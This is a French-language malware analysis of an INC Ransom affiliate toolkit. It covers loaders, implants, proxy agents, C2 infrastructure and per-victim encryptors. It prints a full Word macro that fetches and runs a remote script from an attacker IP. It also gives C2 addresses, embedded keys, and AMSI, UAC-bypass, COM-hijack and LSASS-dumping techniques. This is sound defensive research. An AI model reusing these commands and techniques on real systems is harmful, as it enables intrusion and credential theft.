INC Ransom : un domaine relie le Meterpreter aux encrypteurs patchés par victime

Catégorie : Ransomware

Analyste : Gordon PEIRS (@ozer0x777)

Famille : INC Ransom et outillage d'affiliés (Ghost, Phantom, RevSocks)

Méthode : analyse statique (Ghidra, objdump, YARA) et émulation sous Unicorn de 114 binaires, scripts et documents publiés sur MalwareBazaar le 2026-10-20, plus de l'OSINT passif (journaux de transparence des certificats, RDAP, abuse.ch, DNS passif et relations de fichiers de VirusTotal, rapports Triage en lecture seule). Aucun échantillon n'a été exécuté et aucune connexion n'a été ouverte vers une adresse, un domaine, un bot Telegram ou un serveur de l'opérateur. Les domaines de la campagne ont seulement été résolus par un résolveur public et consultés dans des services tiers (crt.sh, RDAP, urlscan.io, Wayback Machine, abuse.ch, VirusTotal, Triage).

Résumé

Le 2026-10-20, le rapporteur SOCRadarSTRU dépose 114 fichiers sur MalwareBazaar, avec un article qui décrit la boîte à outils d'un affilié INC Ransom. J'ai tout lu sans rien exécuter. Le fichier le plus parlant est Ghost_loader.exe, un chargeur MinGW qui déchiffre en AES-256-CBC un Meterpreter stageless, sans la moindre modification (version 2.0.245 de metasploit-payloads). Sa configuration contacte 89.185.83.8 avec l'en-tête Host: api.system-strategy.org. Ce domaine, je le retrouve ensuite dans le cradle PowerShell du framework Phantom, dans trois agents RevSocks placés derrière Cloudflare, dans l'URL du téléchargeur colorui5.dll et, après décodage, dans le C2 HTTPS d'un implant Ghost. Le Meterpreter n'est donc pas un artefact isolé : son infrastructure le relie à toute la boîte à outils. L'article de SOCRadar ne parle pas de Meterpreter, ce rattachement vient des échantillons.

La chaîne reconstituée va de la livraison à l'impact. Un modèle Word avec macro lance curl via WMI pour récupérer stage1.cmd sur 45.227.254.45:8000. Le second étage est soit un beacon Python (svc.py), soit un cradle PowerShell qui exécute un blob AES téléchargé sur api.system-strategy.org. Les implants sont le Meterpreter, trois générations d'implants Ghost (HTTPS puis Telegram), des beacons Go (mcp-agent) et des agents RevSocks pour le pivot SOCKS. La post-exploitation combine vidage de LSASS (pilote Dell DBUtil_2_3.sys CVE-2021-21551 ou pilote Zemana, comsvcs.dll, PrintNightmare), neutralisation d'antivirus et exfiltration par restic ou par un client S3/Dropbox/MEGA maison. L'impact revient à 46 encrypteurs INC : 7 Windows, 39 Linux et ESXi sur 13 cibles. Six builds Windows sortent d'un même modèle compilé une fois et patché par victime le 2026-09-30, entre 06:00 et 06:52 UTC, et trois d'entre eux ont leur jumeau Linux et ESXi avec la même clé publique.

Le cradle PowerShell ne tient pas ce qu'il annonce. Son contournement AMSI par point d'arrêt matériel écrit les registres de débogage aux mauvais décalages de la structure CONTEXT et n'arme rien : seule la mise à true du champ amsiInitFailed agit. Le patch ETW promis dans son en-tête n'existe pas dans le code.

Les secrets de chaque étage ont la même faiblesse : ils voyagent avec ce qu'ils protègent. La clé AES du Meterpreter est dans le chargeur, la clé et l'IV du cradle sont les 48 premiers octets de la réponse serveur, la clé XOR de RevSocks est une constante qui commence par deadbeef, la clé de chaque implant Ghost est dans son build. Avec un échantillon ou une capture réseau, un défenseur récupère la charge suivante et la configuration C2.

Ce que cette analyse ajoute à l'article : les captures réseau des exécutions publiques Triage, qui montrent qu'aucune charge n'a circulé et qui datent la mise en service des serveurs RevSocks par leurs certificats ; l'antériorité de la boîte à outils, dont le plus ancien implant relié date du 2026-05-02, 14 minutes après l'enregistrement de system-strategy.org ; la dérivation de clé du tunnel RevSocks v4, confirmée par émulation contre hashlib, et un codec qui déchiffre une session capturée ; le jeu de commandes élargi des implants Ghost Telegram ; les encrypteurs Linux et ESXi, dont le mode de chiffrement est un paramètre de ligne de commande et dont seules la clé, l'identifiant et la note sont patchés ; une parenté de code mesurée entre les encrypteurs C++ INC et Lynx ; trois indicateurs saisis dans ThreatFox par le rapporteur et examinés passivement ; 18 règles YARA qui couvrent 90 des 114 fichiers sans correspondance sur environ 10 600 binaires sains.

Tout est reproductible depuis runbook.md. Les scripts sont dans tools/.

1. Périmètre et sources

Le lot se compose de 46 builds INC, 33 outils Phantom, 18 outils Ghost, 16 agents ou chargeurs RevSocks et 1 agent de staging, soit 334 523 412 octets (319 Mio). Les noms Ghost, Phantom et RevSocks viennent des préfixes de noms de fichiers du dépôt : c'est le classement du rapporteur, pas un classement technique, et deux outils Go rangés dans des familles différentes partagent par exemple le module hostprobe. Les neuf hashs INC cités par l'article sont tous là. Les autres étiquettes du même rapporteur (PivotC2, ICMacOS, Operation_Conflict_Compass) relèvent d'autres campagnes et restent hors périmètre.

Le dossier joint contient l'inventaire (cluster_inventory.csv), les indicateurs (iocs.csv), les règles YARA, les outils et les tableaux OSINT cités dans le texte.

2. Chaîne reconstituée

Modèle Word (.dotm, macro Document_Open)
   |  WMI Win32_Process : curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd
   v
stage1.cmd (hub de livraison 45.227.254.45)
   |-- pythonw.exe svc.py --callback URL --token TOKEN        (beacon Python Phantom)
   |-- stage2_inject_v2.ps1 : contournement AMSI, GET https://api.system-strategy.org/api/v2/update
   |        blob = clé(32) | IV(16) | AES-256-CBC(shellcode), exécution par CreateTimerQueueTimer
   v
Implants
   |-- Ghost_loader.exe -> Meterpreter 2.0.245 -> https://89.185.83.8:443 (Host api.system-strategy.org)
   |-- Ghost G6B77FE12 : HTTPS api.system-strategy.org /api/v3/be13a10b476f
   |-- Ghost G00F9FCB5 et G7CDD6836 : API Telegram (G7CDD6836 aussi livré par Ghost_OneDriveSync : chargeur Go -> blob Donut -> implant)
   |-- Phantom mcp-agent : HTTPS 138.124.123.56:8443 (/checkin, /tasks, /result)
   |-- RevSocks : https://77.110.109.248/dl/<jeton>/agent*.enc, cdn.system-strategy.org
   v
Post-exploitation : LSASS (zam64.sys, comsvcs, PrintNightmare), killers AV, restic, rks3 (S3/Dropbox/MEGA)
   v
Impact : encrypteurs INC patchés par victime (Windows, Linux, ESXi)

Chaque flèche de ce schéma tient à une preuve directe : la macro contient l'adresse du hub, le script svc.py documente lui-même stage1.cmd -> pythonw.exe svc.py, le cradle PowerShell contient l'URL api.system-strategy.org, et la configuration déchiffrée de chaque implant Ghost contient son C2.

3. Livraison initiale

Modèles Word

La macro entière :

Private Sub Document_Open()
    On Error Resume Next
    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    proc.Create "cmd.exe /c curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd && %TEMP%\u.cmd", Null, Null, pid
End Sub

Passer par WMI évite la filiation directe de Word vers cmd.exe, celle que surveillent la plupart des règles de détection. Les deux documents ont été créés le 2026-09-01 (05:29 et 07:52 UTC) par un auteur Administrator. Le champ société de leurs métadonnées porte le nom d'une entreprise tierce, que je ne reproduis pas (il est dans les notes restreintes). Le reste des métadonnées raconte la même histoire : deux fichiers créés à neuf (racines d'identifiants de révision et identifiants de document différents, donc pas un enregistrement sous un autre nom), sur la même installation Office 16.0, avec les mêmes styles, le même thème et les mêmes paramètres. Le projet VBA indique un Office 32 bits sur un Windows 64 bits, en anglais américain, page au format Lettre. Ni vignette, ni propriété personnalisée, ni chemin de fichier, ni modèle distant : pas d'injection de modèle. Je ne tire rien de la valeur du champ société. Elle peut venir de l'installation Office qui a servi à rédiger les modèles ou d'un document réutilisé, et rien dans les échantillons ne permet de trancher.

Cradle PowerShell stage2_inject_v2.ps1

Le script s'annonce dans son en-tête comme un « Full EDR/AMSI Evasion PS Cradle ». Ce qu'il fait vraiment :

• marqueur d'activité ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp, le script quitte si le marqueur a moins de 50 minutes ;
• contournement AMSI en deux temps : mise à true du champ amsiInitFailed (noms coupés pour éviter la signature), puis une tentative de point d'arrêt matériel sur AmsiScanBuffer avec un gestionnaire d'exceptions vectorisé. Les registres Dr0 et Dr7 sont écrits aux décalages 0x350 et 0x378 du tampon de contexte au lieu de 0x48 et 0x70 d'une structure CONTEXT x64, donc aucun point d'arrêt n'est armé ;
• le gestionnaire force le retour d'AmsiScanBuffer avec E_INVALIDARG, ce qui fait échouer l'analyse du contenu ;
• la section « ETW PATCH » du script ne fait que chercher un module sans rien modifier : le patch annoncé n'est pas implémenté ;
• téléchargement de https://api.system-strategy.org/api/v2/update, validation de certificat désactivée ;
• clé AES-256 et IV pris dans les 48 premiers octets de la réponse, le reste est le shellcode chiffré en CBC ;
• allocation par NtAllocateVirtualMemory, passage en exécution par NtProtectVirtualMemory, lancement par CreateTimerQueueTimer pour éviter CreateThread.

La structure de la réponse serveur est la faiblesse centrale : qui capture une réponse récupère la clé, l'IV et donc le shellcode.

Beacon Python svc.py

Version 4.0.0-svc, bibliothèque standard uniquement, désactive la vérification TLS, fait tourner cinq User-Agent, se renomme en svchost.exe, RuntimeBroker.exe, WUDFHost.exe, taskhostw.exe ou dllhost.exe. Le fichier précise sa propre livraison : stage1.cmd -> pythonw.exe svc.py --callback URL --token TOKEN -q.

4. Chargeur Ghost_loader et Meterpreter

Ghost_loader.exe est un chargeur MinGW x64 de 268 288 octets (SHA-256 f6fbe168...0c60, horodatage 2026-07-09 07:07:33 UTC). Il déchiffre un blob de 250 016 octets avec la CryptoAPI, en AES-256-CBC. La clé (13e820f5...957dd622) et l'IV (464a0604...6217e6) sont en clair dans .data. J'ai émulé son WinMain sous Unicorn : il atteint CryptImportKey, CryptSetKeyParam et CryptDecrypt avec ces valeurs et produit exactement le payload que j'avais extrait statiquement, ce qu'OpenSSL confirme de son côté.

Le payload est la DLL metsrv.x64.dll de metasploit-payloads 2.0.245, identique au gem public à 37 octets d'amorce près, suivie d'un bloc de configuration de 2 202 octets : URL https://89.185.83.8:443/Yhep2wNQf6XNj8y..., en-tête Host: api.system-strategy.org, User-Agent Edge 137, expiration à 7 jours, aucun épinglage de certificat. L'horodatage du UUID de session (07:07:31) précède de deux secondes celui du chargeur : les deux sortent d'une même génération automatisée.

Avant d'exécuter le payload, le chargeur crée le mutex Global\WinSvcUpdate_7B3F, vérifie que Sleep(2000) dure au moins 1 900 ms, recopie le .text de ntdll.dll depuis le disque, remplace les quatre premiers octets d'EtwEventWrite par 48 33 C0 C3 et lance le payload depuis un callback EnumDesktopWindows. Un thread de surveillance appelle ExitProcess environ 60 minutes après le lancement. Je le déduis du code (le drapeau n'est écrit nulle part ailleurs), je ne l'ai pas observé.

Le C2 n'apparaît jamais en clair dans le chargeur, seul le déchiffrement le révèle. L'adresse 89.185.83.8 n'est dans aucun flux abuse.ch.

5. Famille Ghost : trois générations d'implant

Le nom G suivi de 8 caractères hexadécimaux est un identifiant de build. J'en ai décodé trois générations. Les chaînes de configuration (mutex, hôte, chemin, jeton) sont chiffrées par une routine vectorisée SSE que j'ai préféré émuler sous Unicorn plutôt que de la rétro-concevoir : tools/emulate_string_decoder.py appelle la fonction du binaire sur le tampon chiffré et lit le résultat.

Les deux builds Telegram utilisent deux bots différents mais la même conversation 8809711703. Cet identifiant est positif, alors que les groupes et les canaux ont des identifiants négatifs dans l'API Telegram : il désigne donc un compte utilisateur (ou un autre bot), très probablement celui de l'opérateur qui reçoit les résultats. Il est numériquement plus petit que ceux des deux bots, ce qui en fait vraisemblablement le plus ancien des trois comptes. Telegram est le seul acteur capable de dire à qui il correspond. J'ai recouvré les jetons complets des deux bots par émulation. Je ne les reproduis pas : ce sont des identifiants d'accès de l'opérateur. Ils doivent être signalés à Telegram pour fermeture des bots, jamais utilisés.

Protocole de la première génération

La décompilation de FUN_140001f50 et FUN_140001a00 donne le protocole suivant :

1. Message JSON {"build_id":"G6B77FE12","hostname":...,"username":...,"os":"windows","pid":N} à l'enregistrement.
2. Chiffrement en AES-256-CBC avec un IV aléatoire de 16 octets (CryptGenRandom).
3. Authentification par un HMAC-SHA256 écrit à la main (blocs de remplissage 0x36 et 0x5c), calculé sur IV et texte chiffré.
4. Trame envoyée : IV | HMAC | texte chiffré, en POST application/octet-stream, TLS avec vérification désactivée.
5. Intervalle d'interrogation tiré entre 15 et 45 secondes par un mélange de GetTickCount, du PID et de l'identifiant de thread.

La clé de 32 octets est une chaîne base64 en clair dans .rdata (gBMGlnQB...). La même clé sert au chiffrement et au HMAC, et chaque build a la sienne. Qui détient le binaire et une capture réseau déchiffre donc la session, et peut aussi forger des messages.

Commandes de l'implant relevées dans le code de traitement des tâches : cmd, shell:, whoami, pwd, cd, cat, dir, ps, upload, download, uac, persist, exit. La commande uac écrit sous HKCU\Software\Classes\ms-settings\Shell\Open\command la commande reçue et une valeur DelegateExecute vide, lance fodhelper.exe puis supprime la clé : c'est le détournement classique de fodhelper. La commande persist écrit un scriptlet %ProgramData%\Microsoft\Crypto\RSA\update.sct (identifiant de programme MSUpdate) qui lance l'implant en caché, puis détourne la bibliothèque de types COM {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} en y inscrivant script:<chemin du .sct> sous HKCU. Tout processus qui charge cette bibliothèque relance alors l'implant.

Générations Telegram

Les builds G00F9FCB5 et G7CDD6836 envoient du JSON {"chat_id":...,"text":...} à api.telegram.org (sendMessage, getUpdates). Leur routine de désobfuscation prend un contexte de 16 octets propre au build, suivi de l'identifiant de build en ASCII. Le build stealth modifie en plus la configuration de l'utilisateur par reg.exe add : il désactive la notification Windows.Explorer.NewAppInstalled et écrit une valeur StartupApproved\Run pour SecurityHealthSystray, dont je n'ai pas vérifié l'effet exact.

Les noms de commandes que le code de traitement des tâches compare en clair donnent, pour la deuxième génération (G00F9FCB5), un jeu bien plus large que celui de la première : reconnaissance de l'hôte et du domaine (sysinfo, info, env, users, user, time, computers, dc, dcip, dcinfo, domgroups), exécution et gestion de processus (exec, kill, ps), sleep, deux commandes on et off dont je n'ai pas relevé le sens, hashdump et persist.

Dans le build G7CDD6836 du lot (13:06), les noms de commandes et de l'API Telegram ne sont plus en clair (il reste shell:, status, computers, decrypt et quelques autres), alors que le module extrait du blob Donut de Ghost_OneDriveSync (06:01) les contient tous : hashdump, domgroups, dcinfo, sysinfo, getUpdates, sendMessage, sendDocument et getFile. J'ai comparé les deux fonction par fonction, sur les séquences d'instructions : 94 fonctions identiques sur 111 et 112, et 80 instructions de plus dans le build du lot (16 161 contre 16 081). C'est le même code, recompilé sept heures plus tard avec un masquage des chaînes. Le jeu de commandes du build du lot est donc très probablement celui de G00F9FCB5 (hors sleep et user) plus ping, status et decrypt, qui attend un chemin et une clé.

hashdump ne lit ni LSASS ni la base SAM : la fonction démarre deux fils sur l'adresse de rebouclage, avec un port tiré entre 40 000 et 59 999, et renvoie le hachage NTLMv2 de l'utilisateur courant ou le message d'échec « Failed to capture NTLMv2 hash ». C'est la même technique que Ghost_ntlm_test. Les deux versions de la troisième génération traitent aussi un chemin se terminant par .dat en le réécrivant avec l'extension .exe, ce qui rappelle le fichier .dat du moniteur d'impression sans que le lien soit établi. Les commandes dont le nom est masqué échappent à cette comparaison : les jeux ci-dessus sont des minimums.

Autres éléments Ghost

Ghost_OneDriveSync et blob Donut

Ghost_OneDriveSync est un chargeur Go (module onedrive-sync). Il déchiffre une charge AES-256 en mode CTR dont la clé est dans le binaire, charge dbghelp.dll et y écrase la section .text au lieu d'injecter dans un autre processus. Le chemin de compilation retrouvé dans le binaire, /opt/c2/ghost-api-tg/builds/G7CDD6836/loader_go/, dit pour quel build il a été produit.

La charge déchiffrée (114 388 octets, sha256 71f5be7b...26e9b) est un blob Donut, ce qui recoupe l'identification DonutLoader de Triage et de VMRay. Je l'ai vérifié sur la structure : le déplacement du CALL initial (0x18a28) égale le champ de longueur de l'instance (offset 5), l'instance se déchiffre par Chaskey en mode CTR (16 tours) avec une clé stockée en clair dans son en-tête, et 13 479 octets de code de chargement suivent. Elle contient les noms de bibliothèques ole32;oleaut32;wininet;mscoree;shell32, les noms des fonctions AMSI, WLDP et ETW à neutraliser, et un module de type EXE natif non compressé (type 4).

Ce module, un PE x64 de 94 824 octets (sha256 4337a20d...c90b, horodaté 2026-07-23 06:01:44 UTC), est un implant Ghost de troisième génération : identifiant G7CDD6836, la même API Telegram (getUpdates, sendMessage, sendDocument, getFile sur api.telegram.org), une persistance par la clé Run et un faux certificat Authenticode « Microsoft Corporation » (nom commun « Microsoft Device Synchronization Service », valide du 2026-07-23 06:01:45 au 2027-07-23 06:01:45 UTC, soit un an exactement après la compilation). C'est une compilation distincte, faite sept heures avant l'implant G7CDD6836 du lot (13:06:31). Elle n'est pas dans les 114 fichiers, et son hash comme son imphash sont absents de MalwareBazaar au 2026-10-23. Elle ne diffère de l'implant du lot que par le masquage des noms de commandes et d'API Telegram (voir plus haut). Sa configuration Telegram, décodée en émulant la routine de masquage, est identique à celle de l'implant du lot : même mutex, même bot (8986910514) et même conversation (8809711703), ce qui rattache le chargeur au même canal. Le jeton complet du bot n'est écrit dans aucun fichier. Il se recouvre par émulation à partir de l'échantillon public et ne serait transmis qu'à Telegram ou à un service d'enquête, sur demande et par canal chiffré.

6. RevSocks : variantes d'un chargeur de proxy

Les 16 builds se répartissent en trois ensembles. Quatre chargeurs et injecteurs de juillet téléchargent depuis https://77.110.109.248:443/dl/6599207047fdf950a83e680bc24750da/, et le même jeton de 32 caractères hexadécimaux revient dans les quatre. Dix agents de tunnel (neuf Windows et un ELF, décrit au §7) embarquent leur protocole (défi de 32 octets, ChaCha20, en-tête CC20). Deux injecteurs de septembre téléchargent depuis un second serveur, 141.98.83.180.

La clé de la variante 2 est de ad be ef ca fe ba be 13 37 42 69 aa bb cc dd 11 22 33 44 55 66 77 88 99 00 ab cd ef 12 34 56. Toute copie de agent.enc capturée se déchiffre sans effort. La clé de injectExplorer est 52ade221eca4520b83dd19db063c31d4c42805ca96d778547ffe2eca18ad084d. Le contrôle anti-bac à sable de cette variante exige un écart de GetTickCount supérieur à 10 240 ms après Sleep(10741), plus de 2 Go de RAM physique et au moins deux processeurs.

Le secret ASCII de 32 caractères f191074b103901bb58a4ca37494e4cf6 est commun à l'agent v3 Windows, à l'agent ELF, à la variante HTTP et aux agents v4 patchés. Le serveur de livraison de septembre, 141.98.83.180, était absent de tous les indicateurs publics : l'adresse n'apparaît dans aucune extraction de chaînes à cause du XOR, et l'agent v4 90fe2b57 du même jour l'appelle aussi. Je ne reproduis pas les clés XOR des deux injecteurs de septembre, leur empreinte figure dans iocs.csv.

J'ai reconstruit le protocole des agents v4 par décompilation et émulation. La poignée de main est celle des agents v3 : le serveur envoie 32 octets de défi, l'agent répond par le condensat SHA-256 du secret suivi du défi, puis CC20, et exige CC20 en retour. Chaque enregistrement est une longueur sur 4 octets, un nonce de 12 octets (quatre octets nuls et un compteur de 64 bits) et un chiffrement ChaCha20 à partir du compteur de bloc 1, avec une étiquette Poly1305 conforme à la RFC 8439. J'ai validé le bloc ChaCha20 et l'étiquette par émulation contre des implémentations de référence. Le nonce reçu n'est jamais comparé à un compteur attendu, donc un enregistrement capturé peut être rejoué.

L'agent n'implémente pas SOCKS lui-même : le serveur envoie dans un message d'ouverture de canal le nom d'hôte et le port à joindre, ce qui place l'interface SOCKS côté serveur. Les autres messages sont des données, une fermeture, un ping, un délai de reconnexion imposé par le serveur et, dans le seul build 90fe2b57, un message d'identification (nom d'hôte et d'utilisateur) renvoyé toutes les 40 à 50 minutes. Limites relevées : 256 canaux, délai de réception de 360 s, keepalive TCP de 10 s, nouvelle tentative toutes les 5 s. La version 4 est donc la version 3 enveloppée dans TLS (SChannel), avec le préfixe de clé et les noms d'API encodés par XOR 0x5a.

La clé de session est le SHA-256 du préfixe de 19 octets suivi du secret de 32 octets. Pour en être sûr, j'ai émulé sous Unicorn les routines de condensat du binaire (initialisation, mise à jour, finalisation) : elles donnent exactement le même résultat que hashlib sur les mêmes entrées (tools/emulate_v4_kdf.py). tools/revsocks_codec.py implémente ce format (clé, réponse à la poignée de main, scellement et ouverture des trames) et déchiffre une session capturée à partir du secret. Son cadrage repose sur la lecture du code, je n'ai pas pu le confronter à du trafic réel.

Les quatre chargeurs et injecteurs de juillet (loader_v1, loader_v2, injectExplorer, injectWmiprvse) ont été compilés à une ou deux secondes d'écart le 2026-07-19 : ce sont des variantes produites en lot, pas des versions successives. On y lit une gradation du durcissement (téléchargement en clair, XOR constant, XOR aléatoire avec injection), puis un front Cloudflare le 2026-07-30, une enveloppe TLS en août et un second serveur de livraison en septembre. Rien dans les échantillons ne relie ces changements à des détections.

7. Phantom : framework et outils

Les binaires Go conservent leur métadonnée de build, ce qui donne le nom de chaque module source et la version du compilateur.

zloader et pnloader affichent des journaux détaillés ([+] EXPLOITATION SUCCESSFUL, [*] Keeping Defender dead for 30 seconds...), des outils qui ne cherchent pas la discrétion. zloader arrête MsMpEng.exe, MsSense.exe, NisSrv.exe et MpDefenderCoreService.exe via le périphérique \\.\ZemanaAntiMalware, vide LSASS avec rundll32 comsvcs.dll, MiniDump vers C:\Windows\Temp\d.dmp et sauvegarde les ruches SAM, SECURITY et SYSTEM.

Les commentaires, les noms de modules (mcp-agent, mcp-bridge) et le style très descriptif du code sont compatibles avec l'assistance par modèle de langage décrite dans l'article. Ce constat est une observation de style, pas une preuve.

Outils complémentaires

• QuickLine, agent Mythic Athena. L'exécutable est un paquet monofichier de 189 fichiers dont les assemblées d'agent (Agent.Models, Agent.Profiles.Http, Agent.Crypto.Aes, Agent.Managers.*, IronPython, Autofac) et la chaîne Athena identifient l'agent public de la plateforme de commande Mythic. Le profil HTTP actif appelle https://api.iquickline.com sur le port 443 (paramètres q et data, chemin index), avec un User-Agent Chrome 127, un identifiant de charge 1b1270ff-6b8f-4f62-88f4-304cc11c0662, un intervalle de 10 s avec 23 % de gigue, une date d'extinction au 2027-01-01 et une clé AES pré-partagée que je ne reproduis pas (SHA-256 de la chaîne base64 : 613c9b9c35606656a45dd4fa56fd7388e47ec4591f547085c526d02934e61fbb). Cela relie iquickline.com à un vrai serveur de commande et non à un simple leurre. L'archive date du 2026-08-11, quatre jours après l'enregistrement du domaine.
• rks3. Trois variantes Go (go1.24 et go1.25) compilées sous /root/chat/DOWNLOADER/rks3/ pour deux d'entre elles, de révision unique 125a84a1 datée du 2026-07-06 07:31:05 UTC (arbre modifié). Aucun secret d'accès aux services de stockage n'est en clair.
• ligagent. Agent Ligolo-ng 0.8.2 (module github.com/nicocha30/ligolo-ng/cmd/agent, go1.23.9) recompilé puis compressé par UPX. Le serveur de rappel est passé en argument, aucune adresse n'est intégrée.
• Agent ELF à tunnel ChaCha20. RevSocks_vmware-usbarbitrator est un exécutable statique x86_64 sans rapport de code avec les chargeurs RevSocks Windows. Il se détache en arrière-plan et se connecte à 77.110.109.248 sur le port 443. Sa clé ChaCha20 est le SHA-256 du préfixe chacha20_tunnel_v3_ suivi du secret ASCII de 32 caractères f191074b103901bb58a4ca37494e4cf6, le même que celui des agents Windows (§6) : une clé statique, identique pour toutes les installations. La poignée de main et le format des trames sont ceux décrits au §6 (défi de 32 octets, échange de CC20, longueur sur 4 octets, nonce de 12 octets, étiquette Poly1305). Le nom d'hôte et le nom d'utilisateur (par défaut esxi et root) n'entrent dans aucune clé, ils figurent seulement dans le premier message chiffré. Une session capturée se déchiffre donc avec le seul échantillon, ce que je n'ai pas pu tester faute de capture. MalwareBazaar l'étiquette Mirai, ce que rien dans le code ne confirme.
• Agents Python. phantom_agent et WUServiceHost (PyInstaller) sont des outils d'audit local qui ajoutent un mode implant à canaux HTTPS et DNS TXT. Aucune adresse n'est intégrée : elles sont passées en argument.
• Élévation de privilèges et neutralisation (outils Ghost et Phantom confondus). Le moniteur d'impression Ghost_monitor (persistance et exécution en SYSTEM par le spouleur ; un fichier .dat de même nom, absent du lot et écrit au déploiement, donne le chemin de l'implant à lancer, selon les journaux du build de débogage), Ghost_uac_bypass (dossier fantôme C:\Windows \System32, winSAT.exe et une WINMM.dll embarquée), elevate (objet COM CMSTPLUA, répertoire C:\Uyap), quickheal-killer2 (pilote Zemana embarqué) et zloader (BYOVD). pnloader et nightmare.dll exploitent PrintNightmare (CVE-2021-1675) et créent le compte pnadmin avec un mot de passe codé en dur, que les tentatives CVE-2025-62215 réutilisent. L'exploit CVE-2025-62215 s'exécute en quatre phases journalisées (arrosage du pool noyau avec des objets, création de trous, course, vérification de l'élévation). En cas de succès il emprunte le jeton SYSTEM puis exécute une charge qui sauvegarde les ruches SAM, SECURITY et SYSTEM sous C:\Windows\Temp (s.dat, se.dat, sy.dat), vide LSASS par comsvcs.dll vers d.dmp, crée le compte pnadmin dans le groupe des administrateurs et écrit C:\Windows\Temp\pn_done.txt. Le code en mode utilisateur ne montre toujours pas la primitive noyau elle-même. Le nom du dossier Uyap est celui du système d'information judiciaire turc : c'est un indice faible, qui ne permet aucune attribution.
• Capture NTLM. Ghost_ntlm_test s'authentifie contre un serveur HTTP de rebouclage pour obtenir le hachage NTLMv2 de l'utilisateur courant, sans envoi réseau externe.
• Ghost_AetherPulse.dll. DLL compilée avec Visual Studio 2019 le 2023-06-15, logique obfusquée par prédicats opaques et constantes masquées par XOR, trois exports qui appellent la même routine. Elle cherche son propre nom dans la liste des modules du PEB et n'importe aucune API réseau. Les deux blocs d'entropie élevée de .rdata ne sont pas des charges chiffrées : l'un contient les tables de zlib et de CRC-32, l'autre un pool de constantes. Ses imports se limitent à la création de fils et d'évènements, à la manipulation de fichiers dans le répertoire temporaire et au déroulement de pile des exceptions ; les noms de ses trois exports sont aléatoires et son nom d'exportation interne est LdrDll.dll. Le graphe d'appel calculé depuis les exports atteint une routine qui copie un fichier vers un chemin dérivé puis écrase l'original avant de le supprimer à la fermeture (FILE_FLAG_DELETE_ON_CLOSE), et une autre qui crée un fichier dans le dossier temporaire. Les appels d'API passent par des pointeurs masqués au sens de la bibliothèque d'exécution MSVC, pas par un hachage de noms. Ses ressources de version déclarent un éditeur et un produit (copyright 2022, version 7.64.79.47) introuvables dans les sources publiques, consignés dans le fichier restreint. C'est donc un composant de manipulation de fichiers, sans réseau, sans configuration et sans lien technique avec l'infrastructure de la campagne : son appartenance à la boîte à outils ne repose que sur son dépôt dans le lot, et une copie d'un logiciel tiers n'est pas exclue.

8. Encrypteurs INC

Le lot contient 46 builds : 7 Windows et 39 ELF couvrant 13 cibles (x86_64 en gnu, musl et esxi, ARM 32 et 64 bits, PowerPC, RISC-V, s390x, SPARC64).

Un modèle compilé une fois, patché par victime

Six builds Windows de 2 206 208 octets ont la même date de compilation PE, 2025-08-14 13:07:56. Je les ai comparés deux à deux : les quinze paires diffèrent de 53 à 62 octets, répartis en quelques zones :

Les 8 premiers caractères hexadécimaux de l'identifiant à 16 caractères sont un horodatage Unix. Décodés, ils placent la fabrication des six builds le 2026-09-30 :

Ça recoupe ce que dit l'article de paquets préparés le 30 septembre pour une vague du 1er octobre. Le septième build Windows (c20411a8, 2 205 184 octets, PE du 2026-08-03) a une autre disposition : il contient le marqueur PATCH_CONFIG, suivi d'une valeur base64 de 32 octets (5047zB79intd5vl7oY5i0ofoZFYfuhhqxnNDDvMG5Fw=, offset 0x1fd610), puis de la note de rançon en base64. Ce build a été compilé le 2026-08-03 avec une autre version de l'éditeur de liens (2.25 contre 2.35 pour les six autres, pourtant datés de 2025), ce qui indique une autre chaîne de compilation ; un éditeur de liens plus ancien avec une date plus récente peut aussi signaler un horodatage PE modifié, ce que je n'ai pas vérifié. C'est un autre modèle ou une autre version du générateur de kits, donc une cible ou un essai distinct de ceux du 2026-09-30.

Chaîne de compilation

Les chaînes du binaire contiennent C:\Users\runneradmin\.cargo\registry\src\index.crates.io-.... Le compte runneradmin est celui des exécuteurs Windows hébergés de GitHub Actions : le modèle a donc été compilé par une chaîne d'intégration continue, vraisemblablement un dépôt privé ou jetable de l'opérateur. C'est une piste à destination de GitHub, non vérifiée ici.

Cryptographie

Bibliothèques liées : curve25519-dalek 3.2.1, aes-soft 0.6.4 avec ctr 0.6.0 (AES en mode CTR), salsa20 0.9.0, rand_core 0.5.1. L'aléa vient de BCryptGenRandom et de SystemFunction036, donc du générateur du système. Il n'y a pas de graine temporelle exploitable. La valeur de 32 octets propre à chaque build est la clé publique Curve25519 de l'opérateur. Le rôle est confirmé par la décompilation du build ELF x86_64 (section Builds Linux et ESXi), et les mêmes valeurs figurent dans trois des builds Windows. Les autres éléments relevés : fichier de rançon INC-README.txt, extension .INC, journal INC.log, chaînes de ciblage ou d'exclusion veeam, sql, backup, recycle.bin, programdata, all users, sophos, usage de Restart Manager (RstrtMgr.DLL) et de DeviceIoControl.

Builds Linux et ESXi

Les 39 ELF se répartissent en trois lots de 13 builds, un par cible, rattachés par leur clé publique (kit1, kit2, kit3). Cinq fichiers de l'inventaire portent un nom sans numéro de lot (un esxi, un musl, trois gnu) et sont rattachés à leur lot par leur seule clé. Les lots ne diffèrent d'une même cible que de 43 à 58 octets : la clé base64 de 44 caractères et, hors PowerPC, un identifiant hexadécimal de 24 caractères. Je n'ai exécuté aucun des 39 binaires. L'extraction se rejoue avec tools/decompile_refs.py et la table complète est dans osint/inc_victim_ids.csv.

